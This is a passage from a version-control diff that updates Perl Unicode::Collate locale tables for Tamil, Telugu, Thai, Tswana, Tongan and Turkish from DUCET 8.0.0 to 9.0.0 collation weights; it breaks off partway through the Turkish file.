+0BB1 0BCD ; [.27DF.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER RRA, TAMIL SIGN VIRAMA>
+0BB1      ; [.27DF.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RRA
+0BA9 0BCD ; [.27E0.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER NNNA, TAMIL SIGN VIRAMA>
+0BA9      ; [.27E0.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNNA
+0B9C 0BCD ; [.27E1.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER JA, TAMIL SIGN VIRAMA>
+0B9C      ; [.27E1.0020.0002][.FFF1.0000.0000] # TAMIL LETTER JA
+0BB6 0BCD ; [.27E2.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SHA, TAMIL SIGN VIRAMA>
+0BB6      ; [.27E2.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SHA
+0BB7 0BCD ; [.27E3.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SSA, TAMIL SIGN VIRAMA>
+0BB7      ; [.27E3.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SSA
+0BB8 0BCD ; [.27E4.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER SA, TAMIL SIGN VIRAMA>
+0BB8      ; [.27E4.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SA
+0BB9 0BCD ; [.27E5.0020.0002][.FFF0.0000.0000] # <TAMIL LETTER HA, TAMIL SIGN VIRAMA>
+0BB9      ; [.27E5.0020.0002][.FFF1.0000.0000] # TAMIL LETTER HA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/te.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/te.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/te.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0C01      ; [.2775.0020.0002][.FFF1.0000.0000] # TELUGU SIGN CANDRABINDU
-0C02      ; [.2775.0020.0002][.FFF2.0000.0000] # TELUGU SIGN ANUSVARA
-0C03      ; [.2775.0020.0002][.FFF3.0000.0000] # TELUGU SIGN VISARGA
-0C14      ; [.2775.0020.0002][.FFF0.0000.0000] # TELUGU LETTER AU
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0C01      ; [.2802.0020.0002][.FFF1.0000.0000] # TELUGU SIGN CANDRABINDU
+0C02      ; [.2802.0020.0002][.FFF2.0000.0000] # TELUGU SIGN ANUSVARA
+0C03      ; [.2802.0020.0002][.FFF3.0000.0000] # TELUGU SIGN VISARGA
+0C14      ; [.2802.0020.0002][.FFF0.0000.0000] # TELUGU LETTER AU
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/th.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/th.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/th.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,23 +1,23 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    variable => 'shifted',
    alternate => 'shifted',
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0E2F      ; [*03DA.0020.0002][*FFF0.0000.0000] # THAI CHARACTER PAIYANNOI
-0E5A      ; [*03DA.0020.0002][*FFF1.0000.0000] # THAI CHARACTER ANGKHANKHU
-0E46      ; [*03DB.0020.0002][*FFF1.0000.0000] # THAI CHARACTER MAIYAMOK
-0E5B      ; [*03DB.0020.0002][*FFF0.0000.0000] # THAI CHARACTER KHOMUT
-0E4C      ; [.0000.00CD.0002] # THAI CHARACTER THANTHAKHAT
-0E47      ; [.0000.00CE.0002] # THAI CHARACTER MAITAIKHU
-0E48      ; [.0000.00CF.0002] # THAI CHARACTER MAI EK
-0E49      ; [.0000.00D0.0002] # THAI CHARACTER MAI THO
-0E4A      ; [.0000.00D1.0002] # THAI CHARACTER MAI TRI
-0E4B      ; [.0000.00D2.0002] # THAI CHARACTER MAI CHATTAWA
-0E4D      ; [.2C90.0020.0002] # THAI CHARACTER NIKHAHIT
-0E45      ; [.2C93.0020.0003] # THAI CHARACTER LAKKHANGYAO
-0E4D 0E32 ; [.2C93.0020.0002][.2C90.0020.0003] # THAI CHARACTER SARA AM
-0E33      ; [.2C93.0020.0002][.2C90.0020.0004] # THAI CHARACTER SARA AM
-0E45 0E4D ; [.2C90.0020.0002][.2C93.0020.0004] # <THAI CHARACTER LAKKHANGYAO, THAI CHARACTER NIKHAHIT>
-0E3A      ; [.2CA1.0020.0002] # THAI CHARACTER PHINTHU
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0E2F      ; [*03EF.0020.0002][*FFF0.0000.0000] # THAI CHARACTER PAIYANNOI
+0E5A      ; [*03EF.0020.0002][*FFF1.0000.0000] # THAI CHARACTER ANGKHANKHU
+0E46      ; [*03F0.0020.0002][*FFF1.0000.0000] # THAI CHARACTER MAIYAMOK
+0E5B      ; [*03F0.0020.0002][*FFF0.0000.0000] # THAI CHARACTER KHOMUT
+0E4C      ; [.0000.00D2.0002] # THAI CHARACTER THANTHAKHAT
+0E47      ; [.0000.00D3.0002] # THAI CHARACTER MAITAIKHU
+0E48      ; [.0000.00D4.0002] # THAI CHARACTER MAI EK
+0E49      ; [.0000.00D5.0002] # THAI CHARACTER MAI THO
+0E4A      ; [.0000.00D6.0002] # THAI CHARACTER MAI TRI
+0E4B      ; [.0000.00D7.0002] # THAI CHARACTER MAI CHATTAWA
+0E4D      ; [.2DA1.0020.0002] # THAI CHARACTER NIKHAHIT
+0E45      ; [.2DA4.0020.0003] # THAI CHARACTER LAKKHANGYAO
+0E4D 0E32 ; [.2DA4.0020.0002][.2DA1.0020.0003] # THAI CHARACTER SARA AM
+0E33      ; [.2DA4.0020.0002][.2DA1.0020.0004] # THAI CHARACTER SARA AM
+0E45 0E4D ; [.2DA1.0020.0002][.2DA4.0020.0004] # <THAI CHARACTER LAKKHANGYAO, THAI CHARACTER NIKHAHIT>
+0E3A      ; [.2DB2.0020.0002] # THAI CHARACTER PHINTHU
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tn.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tn.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tn.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,37 +1,37 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00EA      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC1      ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EBF      ; [.1C26.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C26.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EC5      ; [.1C26.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C26.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C26.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C26.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C26.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C26.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-00F4      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00EA      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC1      ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EBF      ; [.1CAB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EC5      ; [.1CAB.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAB.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAB.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAB.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+00F4      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/to.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/to.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/to.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,62 +1,62 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-006E 0067 ; [.1D35.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
-004E 0067 ; [.1D35.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
-004E 0047 ; [.1D35.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
-014B      ; [.1D35.0020.001C] # LATIN SMALL LETTER ENG
-014A      ; [.1D35.0020.001D] # LATIN CAPITAL LETTER ENG
-02BB      ; [.1E9D.0020.0002] # MODIFIER LETTER TURNED COMMA
-02BD      ; [.1E9D.0020.0003] # MODIFIER LETTER REVERSED COMMA
-00E1      ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0101      ; [.1BC2.0022.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.0022.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E9      ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0113      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00ED      ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-012B      ; [.1CAD.0022.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.0022.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00F3      ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-014D      ; [.1D58.0022.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.0022.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00FA      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-016B      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+006E 0067 ; [.1DBA.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
+004E 0067 ; [.1DBA.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
+004E 0047 ; [.1DBA.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
+014B      ; [.1DBA.0020.001C] # LATIN SMALL LETTER ENG
+014A      ; [.1DBA.0020.001D] # LATIN CAPITAL LETTER ENG
+02BB      ; [.1F22.0020.0002] # MODIFIER LETTER TURNED COMMA
+02BD      ; [.1F22.0020.0003] # MODIFIER LETTER REVERSED COMMA
+00E1      ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0101      ; [.1C47.0022.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.0022.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E9      ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0113      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00ED      ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+012B      ; [.1D32.0022.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.0022.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00F3      ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+014D      ; [.1DDD.0022.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.0022.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00FA      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+016B      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tr.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tr.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/tr.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,46 +1,46 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E7      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-0063 0327 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-00C7      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-0043 0327 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-011F      ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE
-0067 0306 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE
-011E      ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
-0047 0306 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
-0131      ; [.1CAC.0020.0002] # LATIN SMALL LETTER DOTLESS I
-0049      ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER I
-00CC      ; [.1CAC.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
-00CD      ; [.1CAC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
-00CE      ; [.1CAC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-00CF      ; [.1CAC.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
-012A      ; [.1CAC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
-012C      ; [.1CAC.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
-012E      ; [.1CAC.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
-0130      ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
-0049 0307 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
-00F6      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-015F      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-015E      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-00FC      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
